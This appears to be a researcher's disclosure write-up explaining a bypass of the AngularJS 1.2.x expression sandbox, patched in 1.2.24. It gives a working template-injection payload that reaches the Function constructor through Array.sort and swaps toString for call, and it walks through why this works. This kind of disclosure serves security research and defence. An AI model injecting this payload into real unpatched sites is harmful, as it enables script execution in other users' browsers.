___ __ _______ _____ ____ __
/ | ____ ____ ___ __/ /___ ______ / / ___/ / ___/____ _____ ____/ / /_ ____ _ __ / /_ __ ______ ____ ___________
/ /| | / __ \/ __ `/ / / / / __ `/ ___/_ / /\__ \ \__ \/ __ `/ __ \/ __ / __ \/ __ \| |/_/ / __ \/ / / / __ \/ __ `/ ___/ ___/
/ ___ |/ / / / /_/ / /_/ / / /_/ / / / /_/ /___/ / ___/ / /_/ / / / / /_/ / /_/ / /_/ /> < / /_/ / /_/ / /_/ / /_/ (__ |__ )
/_/ |_/_/ /_/\__, /\__,_/_/\__,_/_/ \____//____/ /____/\__,_/_/ /_/\__,_/_.___/\____/_/|_| /_.___/\__, / .___/\__,_/____/____/
/____/ /____/_/
In my recent research I discovered a bypass to the AngularJS "sandbox", allowing me to execute arbitrary JavaScript from within the Angular scope, while not breaking any of the implemented rules (eg. Function constructor can't be accessed directly).
The main reason I was allowed to do this is because functions executing callbacks, such as Array.sort(), Array.map() and Array.filter() are allowed. If we use the Function constructor as callback, we can carefully construct a payload that generates a valid function that we control both the arguments for, as well as the function body. This results in a sandbox bypass.
Example: {{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor)}}
JSFiddle: http://jsfiddle.net/uwwov8oz
Let's break that down. Function constructor can be accessed via toString.constructor.
{{Function.prototype.toString=Function.prototype.call;["a","alert(1)"].sort(Function)}}
We can run the Function constructor with controlled arguments with ["a", "alert(1)"].sort(Function). This will generate this psuedo-code:
if(Function("a","alert(1)") > 1){
//Sort element "a" as bigger than "alert(1)"
}else if(Function("a","alert(1)") < 1){
//Sort element "a" as smaller than "alert(1)"
}else{
// Sort elements as same
}
Function("a","alert(1)") is equivalent to function(a){alert(1)}. So let's edit that.
if((function(a){alert(1)}) > 1){
//Sort element "a" as bigger than "alert(1)"
}else if((function(a){alert(1)}) < 1){
//Sort element "a" as smaller than "alert(1)"
}else{
// Sort elements as same
}
Now, to understand the next part we must know how JS internals handles comparison of functions. It will convert the function to a string using the toString method (inherited from Object) and compare it as string. We can show this by running this code: alert==alert.toString().
if((function(a){alert(1)}).toString() > 1..toString()){
//Sort element "a" as bigger than "alert(1)"
}else if((function(a){alert(1)}).toString() < 1..toString()){
//Sort element "a" as smaller than "alert(1)"
}else{
// Sort elements as same
}
So to sum up: We can create a function where we control the arguments ("a"), as well as the function body ("alert(1)"), and that generated function will be converted to a string using the toString() function. So all we have to do is replace the Function.prototype.toString() function with the Function.prototype.call() function, and when the comparison runs in the psuedocode, it will run like this:
if((function(a){alert(1)}).call() > 1..toString()){
//Sort element "a" as bigger than "alert(1)"
}else if((function(a){alert(1)}).call() < 1..toString()){
//Sort element "a" as smaller than "alert(1)"
}else{
// Sort elements as same
}
Since (function(a){alert(1)}).call() is a perfectly valid way of creating and executing a function, and given that we control both the arguments and the function body, we can safely assume that we can execute arbitrary JavaScript using this method. The same logic can be applied to the other callback functions. I'm not really sure why using the constructor property like this (eg. toString.constructor) works, since it didn't in 1.2.18 and down.
Last, this is now fixed as of AngularJS version 1.2.24 and up (only 1 week from original report until patch!) and I got $5000 bug bounty for this bypass :) Changelog: https://github.com/angular/angular.js/commit/b39e1d47b9a1b39a9fe34c847a81f589fba522f8
over and out,
avlidienbrunn